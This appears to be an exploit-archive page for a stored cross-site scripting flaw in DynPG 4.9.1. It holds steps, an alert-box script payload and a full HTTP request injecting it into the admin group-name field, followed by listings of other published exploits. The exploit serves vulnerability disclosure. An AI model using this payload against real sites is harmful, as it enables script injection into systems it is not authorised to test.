To access the dashboard, Schedule scans, API and Search become a patron

Search for hundreds of thousands of exploits

"DynPG 4.9.1 - Persistent Cross-Site Scripting (Authenticated)"

Author

Exploit author

"Enes Özeser"

Platform

Exploit platform

php

Release date

Exploit published date

2020-10-09

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# Exploit Title: DynPG 4.9.1 - Persistent Cross-Site Scripting (Authenticated)
# Date: 2020-10-09
# Exploit Author: Enes Özeser
# Vendor Homepage: https://dynpg.org/
# Version: 4.9.1
# Tested on: Windows & XAMPP

==> Tutorial <==

1- Login to admin panel.
2- Click on the "Texts" button.
3- Write XSS payload into the Groupname. 
4- Press "Create" button.

XSS Payload ==> <script>alert("XSS");</script> 

==> HTTP Request <==

POST /index.php?show=4 HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------342819783638885794661955465553
Content-Length: 725
Origin: http://(HOST)
Connection: close
Referer: http://(HOST)/index.php?show=4
Cookie: PHPSESSID=bsbas234jfvvdasdasd1i
Upgrade-Insecure-Requests: 1

-----------------------------342819783638885794661955465553
Content-Disposition: form-data; name="NEW_GROUP_NAME"

<script>alert("XSS");</script>
-----------------------------342819783638885794661955465553
Content-Disposition: form-data; name="GROUP_ID"

0
-----------------------------342819783638885794661955465553
Content-Disposition: form-data; name="GRP_SUBMIT"

Create
-----------------------------342819783638885794661955465553
Content-Disposition: form-data; name="GRP_ACTION"

new_grp
-----------------------------342819783638885794661955465553
Content-Disposition: form-data; name="dpg_csrf_token"

3F16478C29BED20AA73F1D25CB23F471
-----------------------------342819783638885794661955465553--
Release Date Title Type Platform Author
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
Release Date Title Type Platform Author
2020-10-09 "DynPG 4.9.1 - Persistent Cross-Site Scripting (Authenticated)" webapps php "Enes Özeser"
2020-08-20 "ElkarBackup 1.3.3 - Persistent Cross-Site Scripting" webapps php "Enes Özeser"
2020-07-16 "RiteCMS 2.2.1 - Remote Code Execution" webapps php "Enes Özeser"
2020-07-06 "RiteCMS 2.2.1 - Authenticated Remote Code Execution" webapps php "Enes Özeser"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48865/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.